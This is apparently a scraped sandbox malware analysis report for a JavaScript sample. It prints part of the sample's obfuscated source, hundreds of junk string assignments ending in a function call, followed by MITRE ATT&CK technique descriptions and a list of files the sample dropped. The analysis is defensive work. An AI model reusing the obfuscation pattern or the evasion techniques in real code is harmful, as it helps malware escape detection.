1387	ofycubuof = "h";
1388	ofycubuof = "d";
1389	ofycubuof = "S";
1390	ofycubuof = "T";
1391	ofycubuof = "T";
1392	ofycubuof = "N";
1393	ofycubuof = "k";
1394	ofycubuof = "s";
1395	ofycubuof = "u";
1396	ofycubuof = "r";
1397	ofycubuof = "L";
1398	ofycubuof = "E";
1399	ofycubuof = "W";
1400	ofycubuof = "D";
1401	ofycubuof = "f";
1402	ofycubuof = "X";
1403	ofycubuof = "I";
1404	ofycubuof = "G";
1405	ofycubuof = "D";
1406	ofycubuof = "U";
1407	ofycubuof = "J";
1408	ofycubuof = "u";
1409	ofycubuof = "I";
1410	ofycubuof = "T";
1411	ofycubuof = "w";
1412	ofycubuof = "W";
1413	ofycubuof = "i";
1414	ofycubuof = "V";
1415	ofycubuof = "P";
1416	ekeqtzfc = "e";
1417	ekeqtzfc = "L";
1418	ekeqtzfc = "U";
1419	ekeqtzfc = "P";
1420	ekeqtzfc = "K";
1421	ekeqtzfc = "P";
1422	ekeqtzfc = "C";
1423	ekeqtzfc = "Y";
1424	ekeqtzfc = "P";
1425	ekeqtzfc = "Y";
1426	ekeqtzfc = "D";
1427	ekeqtzfc = "z";
1428	ekeqtzfc = "U";
1429	ekeqtzfc = "D";
1430	ekeqtzfc = "L";
1431	ekeqtzfc = "H";
1432	ekeqtzfc = "V";
1433	ekeqtzfc = "K";
1434	ekeqtzfc = "D";
1435	ekeqtzfc = "i";
1436	ekeqtzfc = "K";
1437	ekeqtzfc = "N";
1438	ekeqtzfc = "B";
1439	ekeqtzfc = "S";
1440	ekeqtzfc = "R";
1441	ekeqtzfc = "O";
1442	ekeqtzfc = "b";
1443	ekeqtzfc = "q";
1444	ekeqtzfc = "d";
1445	ekeqtzfc = "u";
1446	ekeqtzfc = "x";
1447	ekeqtzfc = "U";
1448	ekeqtzfc = "X";
1449	ekeqtzfc = "a";
1450	ekeqtzfc = "I";
1451	ekeqtzfc = "f";
1452	ekeqtzfc = "a";
1453	ekeqtzfc = "u";
1454	ekeqtzfc = "X";
1455	ekeqtzfc = "t";
1456	ekeqtzfc = "W";
1457	njjezvtpi = "X";
1458	njjezvtpi = "F";
1459	njjezvtpi = "U";
1460	njjezvtpi = "P";
1461	njjezvtpi = "O";
1462	njjezvtpi = "Y";
1463	njjezvtpi = "s";
1464	njjezvtpi = "J";
1465	njjezvtpi = "O";
1466	njjezvtpi = "c";
1467	njjezvtpi = "w";
1468	njjezvtpi = "A";
1469	njjezvtpi = "j";
1470	njjezvtpi = "O";
1471	njjezvtpi = "R";
1472	njjezvtpi = "b";
1473	njjezvtpi = "c";
1474	njjezvtpi = "e";
1475	njjezvtpi = "f";
1476	njjezvtpi = "D";
1477	njjezvtpi = "R";
1478	njjezvtpi = "t";
1479	njjezvtpi = "s";
1480	njjezvtpi = "u";
1481	njjezvtpi = "Z";
1482	njjezvtpi = "U";
1483	njjezvtpi = "H";
1484	njjezvtpi = "Q";
1485	njjezvtpi = "m";
1486	njjezvtpi = "c";
1487	njjezvtpi = "K";
1488	njjezvtpi = "S";
1489	njjezvtpi = "U";
1490	njjezvtpi = "J";
1491	njjezvtpi = "L";
1492	njjezvtpi = "L";
1493	njjezvtpi = "8";
1494	xkstvjr = "l";
1495	xkstvjr = "f";
1496	xkstvjr = "h";
1497	xkstvjr = "h";
1498	yjcidee = "T";
1499	yjcidee = "e";
1500	yjcidee = "X";
1501	yjcidee = "Z";
1502	yjcidee = "L";
1503	yjcidee = "E";
1504	yjcidee = "Z";
1505	yjcidee = "E";
1506	yjcidee = "e";
1507	yjcidee = "I";
1508	yjcidee = "P";
1509	yjcidee = "t";
1510	yjcidee = "E";
1511	yjcidee = "c";
1512	yjcidee = "H";
1513	yjcidee = "s";
1514	yjcidee = "r";
1515	yjcidee = "Q";
1516	yjcidee = "m";
1517	yjcidee = "g";
1518	yjcidee = "M";
1519	yjcidee = "w";
1520	yjcidee = "E";
1521	yjcidee = "n";
1522	yjcidee = "R";
1523	yjcidee = "t";
1524	yjcidee = "B";
1525	yjcidee = "g";
1526	yjcidee = "l";
1527	yjcidee = "H";
1528	yjcidee = "Z";
1529	yjcidee = "A";
1530	yjcidee = "Q";
1531	yjcidee = "R";
1532	yjcidee = "E";
1533	yjcidee = "D";
1534	yjcidee = "p";
1535	yjcidee = "H";
1536	yjcidee = ".";
1537	uwtfi = "o";
1538	uwtfi = "R";
1539	uwtfi = "I";
1540	uwtfi = "-";
1541	ridab ( );	ridab() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 2305511452193571644.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\e17953cf-3d76-474b-ae68-a43e0ae7db08.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.8068

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Windows Analysis Report
2305511452193571644.js

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre